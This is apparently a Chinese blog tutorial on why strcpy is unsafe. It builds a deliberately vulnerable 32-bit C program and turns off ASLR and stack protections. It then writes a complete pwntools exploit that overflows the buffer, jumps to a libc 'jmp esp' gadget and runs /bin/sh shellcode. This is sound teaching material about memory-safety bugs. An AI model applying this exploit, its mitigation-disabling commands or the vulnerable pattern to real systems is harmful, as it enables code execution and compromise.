strcpy爲何不安全

引言

在剛剛開始學校C語言的時候,很多人都用過strcpy這個函數。簡單說是一個內存複製的函數。這個函數確實非常方便,但是這個函數是非常不安全,由與這個函數而產生的緩衝區溢出漏洞在很多文章中都有所介紹。我們應該摒棄strcpy的使用,而是用strncpy進行代替。

原型聲明:char *strcpy(char* dest, const char *src);
頭文件:#include <string.h> 和 #include <stdio.h>
功能:把從src地址開始且含有NULL結束符的字符串複製到以dest開始的地址空間
說明:src和dest所指內存區域不可以重疊且dest必須有足夠的空間來容納src的字符串。

既然這個函數能造成緩衝區溢出漏洞,那麼這個漏洞究竟是什麼樣子的那,怎麼利用這個漏洞那。很多文章對這個卻搞的諱莫如深,讓人一頭霧水。要弄懂這個,我們先了解下Linux下32爲程序函數調用約定。

函數調用約定(32位)

以下是一個簡單的C程序stackOf.c,後續的內容也是圍繞這這個程序展開的。

#include<stdio.h>
#include <unistd.h>
#include <string.h>
void  vul(char * msg){
    char buffer[64] ;
    strcpy(buffer,msg);
    return ;
}
int main(){
    puts("please give me your shellcode:");
    char shellcode[256];
    memset(shellcode,0,256);
    read(0,shellcode,256);
    vul(shellcode);
    return 0;
}

這個程序的功能很簡單,就是將輸入的內容複製到buffer中。不過這裏有一個問題,buffer只有64個字節,而輸入卻可以是256個字節,這會引發什麼問題那?下面部分再說。
這裏我們來看在執行 vul(shellcode);的時候,對應的彙編代碼是什麼樣子的那,以及進入vul函數和退出vul函數的時候,堆棧的變化情況。
函數調用主要有兩個點需要關注:
(1)參數的出入方式
(2)堆棧的平衡
在這裏插入圖片描述這個例子中只有一個參數,可以看出先進行push eax操作,在執行call sym.vul。也就是先將參數入棧,再進行調用操作。

CALL指令(“調用”指令)的功能,就是以下兩點:

  1. 將下一條指令的所在地址(即當時程序計數器PC的內容)入棧,
  2. 並將子程序的起始地址送入PC(於是CPU的下一條指令就會轉去執行子程序)

流程如下圖所示:
在這裏插入圖片描述在看下vul的彙編代碼:在這裏插入圖片描述首先將老的ebp入棧,爲何需要這一步,爲了方便棧回溯。至於棧回溯的問題,後續會單獨來說。
重點來說一下leave和ret指令:

CPU執行ret指令時,進行下面的兩步操作:
(IP) = ((ss)*16 +(sp))(返回地址)
(esp) = (esp)+2(32爲是+4)

leave指令的作用: 在32位彙編下相當於:
mov esp,ebp;//將ebp指向(ebp內部應當保存一個地址,所謂指向即這個地址對應的空間)的值賦給esp
pop ebp

程序編譯運行

編譯stackOf.c

gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme stackOf.c

運行結果如下:
在這裏插入圖片描述
最好加一條命令關閉系統的的地址隨機化

sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

如果是root用戶,可以使用:

echo 0 > /proc/sys/kernel/randomize_va_space

查資料結論是sudo命令不支持重定向。

攻擊的思路

這裏來說說一下buffer只有64個字節,而輸入卻可以是256個字節,這會引發的問題。當用戶輸入過長時,會向高地址覆蓋。
在這裏插入圖片描述如果將返回地址覆蓋爲:
在這裏插入圖片描述
就是將返回地址覆蓋爲jum esp的地址,這樣當函數返回的時候,eip指向的就是jmp esp的地址
在這裏插入圖片描述
我們精心設計的buffer= 填充字符 + jmp_esp地址 +shellcode

填充數據

那麼數據是怎麼計算出來的那。
用r2進行調試(gdb也可以),在strcpy出下斷點,運行:
在這裏插入圖片描述通過分析vul的彙編代碼,可知在strcpy調用前將ebx(0xffa97850)入棧,而這就是buffer的起始地址,ebp的地址是0xffa97898,兩者相見是0x48 = 64+8 = 72, 別忘了還有ebp在進入函數的時候也入棧了,所以還需要加上4個字節,也就是76個字節。

jmp esp地址

通過ldd命令可查看libc.so的加載地址
在這裏插入圖片描述
UTF-8這個需要加上,能夠避免中文亂碼。

#-*- coding: UTF-8 -*- 
from pwn import *

p = process('./pwnme')                    #運行程序
p.recvuntil("shellcode:")                 #當接受到字符串'shellcode:'

#找jmp_esp_addr_offset
libc = ELF('/lib32/libc.so.6')              
jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:
    print 'Cannot find jmp_esp in libc'
else:
    print hex(jmp_esp_addr_offset)

libc_base = 0xf7de0000                              #你找到的libc加載地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset      #得到jmp_esp_addr

print hex(jmp_esp_addr)

jmp esp在程序裏的地址 : jmp_esp_addr = jmp_esp_addr_offset+libc_base,結合圖解一下
在這裏插入圖片描述

編寫shellcode

具體怎麼編寫可參考:https://blog.csdn.net/helloworlddm/article/details/106594677
shellcode如下所示:

'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

完整攻擊代碼

#-*- coding: UTF-8 -*- 
from pwn import *

p = process('./pwnme')                    #運行程序
p.recvuntil("shellcode:")                 #當接受到字符串'shellcode:'

#找jmp_esp_addr_offset
libc = ELF('/lib32/libc.so.6')              
jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:
    print 'Cannot find jmp_esp in libc'
else:
    print hex(jmp_esp_addr_offset)

libc_base = 0xf7de0000                              #你找到的libc加載地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset      #得到jmp_esp_addr

print hex(jmp_esp_addr)

#構造佈局
buf = 'A'*76                                                     
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

with open('poc','wb') as f:
    f.write(buf)

p.sendline(buf)                                                #發送構造後的buf

p.interactive()

攻擊效果

從圖中可以看出我們居然獲得了shell,那刪除文件、瀏覽文件、複製文件等等很多操作都可以隨心所欲。
在這裏插入圖片描述

公衆號

更多漏洞信息可關注公衆號:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章